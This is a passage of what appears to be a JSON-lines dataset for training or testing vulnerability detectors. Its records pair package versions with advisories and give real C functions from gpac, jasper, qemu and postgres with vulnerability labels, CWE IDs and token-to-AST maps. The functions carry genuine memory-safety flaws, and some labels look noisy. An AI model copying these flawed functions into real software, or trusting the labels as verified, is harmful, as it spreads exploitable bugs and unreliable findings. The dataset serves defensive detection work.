advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: dompurify\nInstalled version: <3.4.12\nSummary: DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements.", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-c2j3-45gr-mqc4\",\n \"cve\": \"CVE-2026-66010\",\n \"aliases\": [\n \"CVE-2026-66010\"\n ],\n \"cwe\": \"CWE-184\",\n \"ecosystem\": \"npm\",\n \"package\": \"dompurify\",\n \"severity\": \"low\",\n \"affected_versions\": \">=0, <3.4.12\",\n \"fixed_version\": \"3.4.12\",\n \"finding\": \"DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements.\",\n \"remediation\": \"Upgrade dompurify to 3.4.12 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-125", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "GF_Err hdlr_dump(GF_Box *a, FILE * trace)\n {\n \tGF_HandlerBox *p = (GF_HandlerBox *)a;\n \tgf_isom_box_dump_start(a, \"HandlerBox\", trace);\n\tif (p->nameUTF8 && (u32) p->nameUTF8[0] == strlen(p->nameUTF8+1)) {\n \t\tfprintf(trace, \"hdlrType=\\\"%s\\\" Name=\\\"%s\\\" \", gf_4cc_to_str(p->handlerType), p->nameUTF8+1);\n \t} else {\n \t\tfprintf(trace, \"hdlrType=\\\"%s\\\" Name=\\\"%s\\\" \", gf_4cc_to_str(p->handlerType), p->nameUTF8);\n\t}\n\tfprintf(trace, \"reserved1=\\\"%d\\\" reserved2=\\\"\", p->reserved1);\n\tdump_data(trace, (char *) p->reserved2, 12);\n\tfprintf(trace, \"\\\"\");\n\n\tfprintf(trace, \">\\n\");\n\tgf_isom_box_dump_done(\"HandlerBox\", a, trace);\n\treturn GF_OK;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-125\",\n \"cwe_name\": \"Out-of-bounds Read\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-13006\",\n \"project\": \"gpac\",\n \"vulnerable_lines\": [\n 5\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"GF_Err\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"hdlr_dump\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 16\n },\n {\n \"token\": \"GF_Box\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 17\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 24\n },\n {\n \"token\": \"a\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 25\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 26\n },\n {\n \"token\": \"FILE\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 28\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 33\n },\n {\n \"token\": \"trace\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 35\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"GF_HandlerBox\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 19\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"GF_HandlerBox\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 36\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \"a\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 38\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 39\n },\n {\n \"token\": \"gf_isom_box_dump_start\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \"a\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 25\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 26\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 4,\n \"col\": 28\n },\n {\n \"token\": \"HandlerBox\",\n \"ast_node\": \"string_content\",\n \"line\": 4,\n \"col\": 29\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 4,\n \"col\": 39\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 40\n },\n {\n \"token\": \"trace\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 42\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 47\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 48\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 4\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 6\n },\n {\n \"token\": \"nameUTF8\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 5,\n \"col\": 17\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 20\n },\n {\n \"token\": \"u32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 21\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 24\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 26\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 27\n },\n {\n \"token\": \"nameUTF8\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 29\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 5,\n \"col\": 37\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 5,\n \"col\": 38\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 5,\n \"col\": 39\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 5,\n \"col\": 41\n },\n {\n \"token\": \"strlen\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 44\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 50\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 51\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 52\n },\n {\n \"token\": \"nameUTF8\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 54\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 5,\n \"col\": 62\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 5,\n \"col\": 63\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 64\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 65\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 5,\n \"col\": 67\n },\n {\n \"token\": \"fprintf\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 3\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: tensorflow\nInstalled version: <2.7.1\nSummary: Out of bounds read in Tensorflow", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-3121\",\n \"cve\": \"CVE-2022-21728\",\n \"aliases\": [\n \"BIT-tensorflow-2022-21728\",\n \"CVE-2022-21728\",\n \"GHSA-6gmv-pjp9-p8w8\",\n \"PYSEC-2022-107\",\n \"PYSEC-2022-52\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"tensorflow\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <2.7.1\",\n \"fixed_version\": \"2.7.1\",\n \"finding\": \"Out of bounds read in Tensorflow\",\n \"remediation\": \"Upgrade tensorflow to 2.7.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-200", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Microsoft.ChakraCore\nInstalled version: <1.6.1\nSummary: ChakraCore information disclosure vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-h6m7-jphx-f9p5\",\n \"cve\": \"CVE-2017-8659\",\n \"aliases\": [\n \"CVE-2017-8659\"\n ],\n \"cwe\": \"CWE-200\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Microsoft.ChakraCore\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <1.6.1\",\n \"fixed_version\": \"1.6.1\",\n \"finding\": \"ChakraCore information disclosure vulnerability\",\n \"remediation\": \"Upgrade Microsoft.ChakraCore to 1.6.1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void qemu_spice_create_host_primary(SimpleSpiceDisplay *ssd)\n{\n QXLDevSurfaceCreate surface;\n\n dprint(1, \"%s: %dx%d\\n\", __FUNCTION__,\n ds_get_width(ssd->ds), ds_get_height(ssd->ds));\n\n surface.format = SPICE_SURFACE_FMT_32_xRGB;\n surface.width = ds_get_width(ssd->ds);\n surface.height = ds_get_height(ssd->ds);\n surface.stride = -surface.width * 4;\n surface.mouse_mode = true;\n surface.flags = 0;\n surface.type = 0;\n surface.mem = (intptr_t)ssd->buf;\n surface.group_id = MEMSLOT_GROUP_HOST;\n\n qemu_spice_create_primary_surface(ssd, 0, &surface);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"qemu-kvm\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void jpc_qmfb_split_colgrp(jpc_fix_t *a, int numrows, int stride,\n int parity)\n{\n\n\tint bufsize = JPC_CEILDIVPOW2(numrows, 1);\n\tjpc_fix_t splitbuf[QMFB_SPLITBUFSIZE * JPC_QMFB_COLGRPSIZE];\n\tjpc_fix_t *buf = splitbuf;\n\tjpc_fix_t *srcptr;\n\tjpc_fix_t *dstptr;\n\tregister jpc_fix_t *srcptr2;\n\tregister jpc_fix_t *dstptr2;\n \tregister int n;\n \tregister int i;\n \tint m;\n\tint hstartcol;\n \n \t/* Get a buffer. */\n \tif (bufsize > QMFB_SPLITBUFSIZE) {\n\t\tif (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {\n \t\t\t/* We have no choice but to commit suicide in this case. */\n \t\t\tabort();\n \t\t}\n \t}\n \n \tif (numrows >= 2) {\n\t\thstartcol = (numrows + 1 - parity) >> 1;\n\t\tm = numrows - hstartcol;\n \n \t\t/* Save the samples destined for the highpass channel. */\n \t\tn = m;\n\t\tdstptr = buf;\n\t\tsrcptr = &a[(1 - parity) * stride];\n\t\twhile (n-- > 0) {\n\t\t\tdstptr2 = dstptr;\n\t\t\tsrcptr2 = srcptr;\n\t\t\tfor (i = 0; i < JPC_QMFB_COLGRPSIZE; ++i) {\n\t\t\t\t*dstptr2 = *srcptr2;\n\t\t\t\t++dstptr2;\n\t\t\t\t++srcptr2;\n\t\t\t}\n\t\t\tdstptr += JPC_QMFB_COLGRPSIZE;\n\t\t\tsrcptr += stride << 1;\n\t\t}\n\t\t/* Copy the appropriate samples into the lowpass channel. */\n\t\tdstptr = &a[(1 - parity) * stride];\n\t\tsrcptr = &a[(2 - parity) * stride];\n\t\tn = numrows - m - (!parity);\n\t\twhile (n-- > 0) {\n\t\t\tdstptr2 = dstptr;\n\t\t\tsrcptr2 = srcptr;\n\t\t\tfor (i = 0; i < JPC_QMFB_COLGRPSIZE; ++i) {\n\t\t\t\t*dstptr2 = *srcptr2;\n\t\t\t\t++dstptr2;\n\t\t\t\t++srcptr2;\n\t\t\t}\n\t\t\tdstptr += stride;\n \t\t\tsrcptr += stride << 1;\n \t\t}\n \t\t/* Copy the saved samples into the highpass channel. */\n\t\tdstptr = &a[hstartcol * stride];\n \t\tsrcptr = buf;\n \t\tn = m;\n \t\twhile (n-- > 0) {\n\t\t\tdstptr2 = dstptr;\n\t\t\tsrcptr2 = srcptr;\n\t\t\tfor (i = 0; i < JPC_QMFB_COLGRPSIZE; ++i) {\n\t\t\t\t*dstptr2 = *srcptr2;\n\t\t\t\t++dstptr2;\n\t\t\t\t++srcptr2;\n\t\t\t}\n\t\t\tdstptr += stride;\n\t\t\tsrcptr += JPC_QMFB_COLGRPSIZE;\n\t\t}\n\t}\n\n\t/* If the split buffer was allocated on the heap, free this memory. */\n\tif (buf != splitbuf) {\n\t\tjas_free(buf);\n\t}\n\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-8654\",\n \"project\": \"jasper\",\n \"vulnerable_lines\": [\n 15,\n 19,\n 26,\n 27,\n 60\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"jpc_qmfb_split_colgrp\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 26\n },\n {\n \"token\": \"jpc_fix_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 27\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 37\n },\n {\n \"token\": \"a\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 38\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \"numrows\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 52\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 54\n },\n {\n \"token\": \"stride\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 58\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 64\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 2\n },\n {\n \"token\": \"parity\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 6\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 12\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"bufsize\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 13\n },\n {\n \"token\": \"JPC_CEILDIVPOW2\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 30\n },\n {\n \"token\": \"numrows\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 31\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 38\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 5,\n \"col\": 40\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 41\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 42\n },\n {\n \"token\": \"jpc_fix_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"splitbuf\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 11\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 6,\n \"col\": 19\n },\n {\n \"token\": \"QMFB_SPLITBUFSIZE\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 20\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 6,\n \"col\": 38\n },\n {\n \"token\": \"JPC_QMFB_COLGRPSIZE\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 40\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 6,\n \"col\": 59\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 60\n },\n {\n \"token\": \"jpc_fix_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 7,\n \"col\": 11\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 12\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \"splitbuf\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 26\n },\n {\n \"token\": \"jpc_fix_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 8,\n \"col\": 11\n },\n {\n \"token\": \"srcptr\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 12\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 18\n },\n {\n \"token\": \"jpc_fix_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 9,\n \"col\": 11\n },\n {\n \"token\": \"dstptr\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 12\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 18\n },\n {\n \"token\": \"register\",\n \"ast_node\": \"register\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"jpc_fix_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 10,\n \"col\": 10\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 10,\n \"col\": 20\n },\n {\n \"token\": \"srcptr2\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 21\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 28\n },\n {\n \"token\": \"register\",\n \"ast_node\": \"register\",\n \"line\": 11,\n \"col\": 1\n },\n {\n \"token\": \"jpc_fix_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 11,\n \"col\": 10\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 11,\n \"col\": 20\n },\n {\n \"token\": \"dstptr2\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 21\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 11,\n \"col\": 28\n },\n {\n \"token\": \"register\",\n \"ast_node\": \"register\",\n \"line\": 12,\n \"col\": 2\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-416", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "main(void)\n{\n\t/* exec sql begin declare section */\n\t\t \n\t\t \n\t\t \n\t\t \n\t\t \n\t\n#line 52 \"dt_test2.pgc\"\n date date1 ;\n \n#line 53 \"dt_test2.pgc\"\n timestamp ts1 , ts2 ;\n \n#line 54 \"dt_test2.pgc\"\n char * text ;\n \n#line 55 \"dt_test2.pgc\"\n interval * i1 ;\n \n#line 56 \"dt_test2.pgc\"\n date * dc ;\n/* exec sql end declare section */\n#line 57 \"dt_test2.pgc\"\n\n\n\tint i, j;\n\tchar *endptr;\n\n\tECPGdebug(1, stderr);\n\n\tts1 = PGTYPEStimestamp_from_asc(\"2003-12-04 17:34:29\", NULL);\n\ttext = PGTYPEStimestamp_to_asc(ts1);\n\n\tprintf(\"timestamp: %s\\n\", text);\n\tfree(text);\n\n\tdate1 = PGTYPESdate_from_timestamp(ts1);\n\tdc = PGTYPESdate_new();\n\t*dc = date1;\n\ttext = PGTYPESdate_to_asc(*dc);\n\tprintf(\"Date of timestamp: %s\\n\", text);\n\tfree(text);\n\tPGTYPESdate_free(dc);\n\n\tfor (i = 0; dates[i]; i++)\n\t{\n\t\tbool err = false;\n\t\tdate1 = PGTYPESdate_from_asc(dates[i], &endptr);\n\t\tif (date1 == INT_MIN) {\n\t\t\terr = true;\n\t\t}\n\t\ttext = PGTYPESdate_to_asc(date1);\n\t\tprintf(\"Date[%d]: %s (%c - %c)\\n\",\n\t\t\t\t\ti, err ? \"-\" : text,\n\t\t\t\t\tendptr ? 'N' : 'Y',\n\t\t\t\t\terr ? 'T' : 'F');\n\t\tfree(text);\n\t\tif (!err)\n\t\t{\n\t\t\tfor (j = 0; times[j]; j++)\n\t\t\t{\n\t\t\t\tint length = strlen(dates[i])\n\t\t\t\t\t\t+ 1\n\t\t\t\t\t\t+ strlen(times[j])\n\t\t\t\t\t\t+ 1;\n\t\t\t\tchar* t = malloc(length);\n\t\t\t\tsprintf(t, \"%s %s\", dates[i], times[j]);\n\t\t\t\tts1 = PGTYPEStimestamp_from_asc(t, NULL);\n\t\t\t\ttext = PGTYPEStimestamp_to_asc(ts1);\n\t\t\t\tif (i != 19 || j != 3) /* timestamp as integer or double differ for this case */\n\t\t\t\t\tprintf(\"TS[%d,%d]: %s\\n\",\n\t\t\t\t\t\ti, j, errno ? \"-\" : text);\n\t\t\t\tfree(text);\n\t\t\t\tfree(t);\n\t\t\t}\n\t\t}\n\t}\n\n\tts1 = PGTYPEStimestamp_from_asc(\"2004-04-04 23:23:23\", NULL);\n\n\tfor (i = 0; intervals[i]; i++)\n\t{\n\t\tinterval *ic;\n\t\ti1 = PGTYPESinterval_from_asc(intervals[i], &endptr);\n\t\tif (*endptr)\n\t\t\tprintf(\"endptr set to %s\\n\", endptr);\n\t\tif (!i1)\n\t\t{\n\t\t\tprintf(\"Error parsing interval %d\\n\", i);\n\t\t\tcontinue;\n\t\t}\n\t\tj = PGTYPEStimestamp_add_interval(&ts1, i1, &ts2);\n\t\tif (j < 0)\n\t\t\tcontinue;\n\t\ttext = PGTYPESinterval_to_asc(i1);\n\t\tprintf(\"interval[%d]: %s\\n\", i, text ? text : \"-\");\n\t\tfree(text);\n\n\t\tic = PGTYPESinterval_new();\n\t\tPGTYPESinterval_copy(i1, ic);\n\t\ttext = PGTYPESinterval_to_asc(i1);\n\t\tprintf(\"interval_copy[%d]: %s\\n\", i, text ? text : \"-\");\n\t\tfree(text);\n\t\tPGTYPESinterval_free(ic);\n\t\tPGTYPESinterval_free(i1);\n\t}\n\n\treturn (0);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-416\",\n \"cwe_name\": \"Use After Free\",\n \"severity\": \"high\",\n \"project\": \"postgres\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: tensorflow-cpu\nInstalled version: <2.4.2\nSummary: TensorFlow is an end-to-end open source platform for machine learning. An attacker can read data outside of bounds of heap allocated buffer in `tf.raw_ops.QuantizeAndDequantizeV3`. This is because the...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2021-481\",\n \"cve\": \"CVE-2021-29553\",\n \"aliases\": [\n \"BIT-tensorflow-2021-29553\",\n \"CVE-2021-29553\",\n \"GHSA-h9px-9vqg-222h\",\n \"PYSEC-2021-190\",\n \"PYSEC-2021-679\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"tensorflow-cpu\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <2.4.2\",\n \"fixed_version\": \"2.4.2\",\n \"finding\": \"TensorFlow is an end-to-end open source platform for machine learning. An attacker can read data outside of bounds of heap allocated buffer in `tf.raw_ops.QuantizeAndDequantizeV3`. This is because the...\",\n \"remediation\": \"Upgrade tensorflow-cpu to 2.4.2 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:7\nManifest: distro package manager (apt/apk)\nPackage: sqlite3\nInstalled version: 3.7.13-1+deb7u2\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:7\",\n \"package\": \"sqlite3\",\n \"installed_version\": \"3.7.13-1+deb7u2\",\n \"note\": \"sqlite3 3.7.13-1+deb7u2 is at or above the fixed version for DSA-3252-2; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void cirrus_mem_writeb_mode4and5_16bpp(CirrusVGAState * s,\n\t\t\t\t\t unsigned mode,\n\t\t\t\t\t unsigned offset,\n\t\t\t\t\t uint32_t mem_value)\n{\n int x;\n unsigned val = mem_value;\n uint8_t *dst;\n\n dst = s->vram_ptr + (offset &= s->cirrus_addr_mask);\n for (x = 0; x < 8; x++) {\n\tif (val & 0x80) {\n\t *dst = s->cirrus_shadow_gr1;\n\t *(dst + 1) = s->gr[0x11];\n\t} else if (mode == 5) {\n\t *dst = s->cirrus_shadow_gr0;\n\t *(dst + 1) = s->gr[0x10];\n\t}\n\tval <<= 1;\n\tdst += 2;\n }\n cpu_physical_memory_set_dirty(s->vram_offset + offset);\n cpu_physical_memory_set_dirty(s->vram_offset + offset + 15);\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n 